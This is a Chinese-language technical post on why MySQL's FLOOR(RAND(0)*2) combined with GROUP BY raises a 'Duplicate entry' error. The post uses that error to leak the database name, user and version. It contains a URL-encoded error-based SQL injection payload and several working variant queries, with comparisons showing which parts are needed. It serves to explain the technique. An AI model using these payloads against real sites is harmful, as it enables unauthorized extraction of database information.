主要是rand和group+by的冲突。在mysql的文档中有这么一句:
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
说的是不可以作为ORDER BY的条件字段, 同理也不可以为group by的。
故:
+and+1=2+UNION+SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))a+from+information_schema.tables+group+by+a)b--
中
a为:concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))
有rand参与,后面又出现group+by+a语句,故会爆出
Duplicate entry 'XXXXXXXXXX' for key 'group_key'
之类的错误。
而这里的“'XXXXXXXXXX”就是 0x5f,database(),0x5f,user(),0x5f,version()的内容,这样子就可以获取到数据库名,用户名和数据库版本。
你可以自己的数据库尝试一下:
报错的:
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b--
去掉rand后没有报错:
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(0,(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b--
去掉GROUP BY a 后没有报错:
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables )b--
--------------------------------------添加2014年7月18日----------------------------------
上面这个mysql的bug的主要问题是获取的值不确定又可重复。同时又要来操作结果。
(说得有点绕了,表达能力不好啊)
下面依旧例子(表tuser ):
1. floor是取整数,如果没有这个,那么RAND(0)*2将是一个很长的小数,不会是会重复的数。
正常:
SELECT id FROM tuser WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT((RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b--
2. *2是取0到2的随机数,如果去掉或换成1,加上floor取整结果都是0,不会是不确定的数。
(*2是最小的可取整数值了,sqlmap上用的也有这句FLOOR(RAND(0)*2),那个注入语句一开始的作者用*2,当否网上不断传播,结果就是大家都*2),当然你*3,*4什么的都是可以的。
正常的:
SELECT id FROM tuser WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a
FROM information_schema.tables GROUP BY a)b--
3. 另外,如果没有重新刷一次结果(例子中用的是count(*)来统计结果),单纯以rand制造会重复的不确定数也是没有效果的,如去掉count(*),那么也不会报错
正常的:
SELECT id FROM tuser WHERE id=1 UNION SELECT 1 FROM (SELECT CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM
information_schema.tables GROUP BY a)b--
所以使用left(rand(),3)之类的也是可以的(会产生会重复不确定的数)
如:
报错的:
SELECT id FROM tuser WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(LEFT(RAND(),3),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a
FROM information_schema.tables GROUP BY a)b--